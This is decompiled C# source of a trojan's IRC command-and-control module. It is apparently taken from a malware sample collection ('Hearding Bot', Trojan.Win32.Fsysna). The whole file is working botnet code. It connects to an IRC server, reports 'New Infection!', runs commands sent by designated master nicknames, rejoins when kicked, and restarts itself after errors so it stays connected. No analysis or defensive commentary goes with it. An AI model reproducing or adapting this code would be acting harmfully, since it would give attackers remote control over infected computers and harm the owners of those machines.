MalwareSourceCode/MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.dljm-a7abcca3397d1344b43d53c1427609ca1808f1991c5d2b158fd67c1ea3e6f19a/Irc.cs

// Decompiled with JetBrains decompiler
// Type: Hearding_Bot.Irc
// Assembly: Hearding Bot, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 931E7B23-EA6E-4139-8BD0-1A4E0BF9E258
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Fsysna.dljm-a7abcca3397d1344b43d53c1427609ca1808f1991c5d2b158fd67c1ea3e6f19a.exe

using System;
using System.IO;
using System.Net.Sockets;
using System.Threading;

namespace Hearding_Bot
{
  internal class Irc
  {
    private static StreamWriter sw;
    private static StreamReader sr;
    private static NetworkStream stream;
    public static TcpClient ircClient;

    public static void Initialize()
    {
      try
      {
        Irc.ircClient = new TcpClient(Config.ircHost, Config.ircPort);
        Irc.Begin();
      }
      catch (Exception ex)
      {
        Thread.Sleep(300000);
        Irc.Initialize();
      }
    }

    public static void Begin()
    {
      Irc.stream = Irc.ircClient.GetStream();
      Irc.sr = new StreamReader((Stream) Irc.stream);
      Irc.sw = new StreamWriter((Stream) Irc.stream);
      Endure.Begin();
      if (Config.ircPass != "")
        Irc.Write("PASS " + Config.ircPass);
      Irc.Write("USER HERDER IS HERE TO :STAY");
      Irc.Write("NICK " + Config.ircNick);
      Irc.Write("JOIN " + Config.ircChannel + " " + Config.ircChannelPass);
      if (Config.ircNick == Config.newNick)
        Irc.WriteTo(Config.ircChannel, "New Infection!");
      Irc.listenToIrc();
    }

    private static void listenToIrc()
    {
      string empty = string.Empty;
      while (true)
      {
        try
        {
          string str1;
          while ((str1 = Irc.sr.ReadLine()) != null)
          {
            if (str1.Contains("PRIVMSG"))
            {
              string str2 = str1.Substring(1, str1.IndexOf("!") - 1);
              foreach (string ircMaster in Config.ircMasters)
              {
                if (ircMaster == str2)
                {
                  int startIndex = str1.IndexOf("PRIVMSG ") + 8;
                  int num = str1.IndexOf(" :");
                  str1.Substring(startIndex, num - startIndex);
                  string str3 = str1.Substring(num + 2);
                  if (str3.StartsWith(Config.ircCommandPrefix))
                  {
                    Functions.determineWho(str3.Substring(1));
                    break;
                  }
                  break;
                }
              }
            }
            else if (str1.Contains("PING :"))
            {
              int startIndex = str1.IndexOf("PING :") + 6;
              Irc.Write("PONG :" + str1.Substring(startIndex));
            }
            else if (str1.Contains("KICK " + Config.ircChannel + " " + Config.ircNick))
            {
              Irc.Write("JOIN " + Config.ircChannel + " " + Config.ircChannelPass);
              Irc.WriteTo(Config.ircChannel, "Yeah, Fuck You Too!");
            }
            else
            {
              bool flag = false;
              string[] strArray = new string[4]
              {
                "Erroneus nickname",
                "Unknown command",
                "ERROR",
                "throttled"
              };
              foreach (string str4 in strArray)
              {
                if (str1.ToLower().Contains(str4.ToLower()))
                {
                  flag = true;
                  break;
                }
              }
              if (flag)
              {
                Irc.ircClient.Close();
                Thread.Sleep(500);
                Program.Main((string[]) null);
              }
            }
          }
        }
        catch (Exception ex)
        {
          Irc.ircClient.Close();
          Thread.Sleep(500);
          Program.Main((string[]) null);
        }
      }
    }

    public static void WriteTo(string chan, string msg) => Irc.Write("PRIVMSG " + chan + " : \u00035 " + msg);

    public static void Write(string msg)
    {
      try
      {
        Irc.sw.WriteLine(msg);
        Irc.sw.Flush();
      }
      catch (Exception ex)
      {
        Thread.Sleep(2000);
      }
      Thread.Sleep(300);
    }
  }
}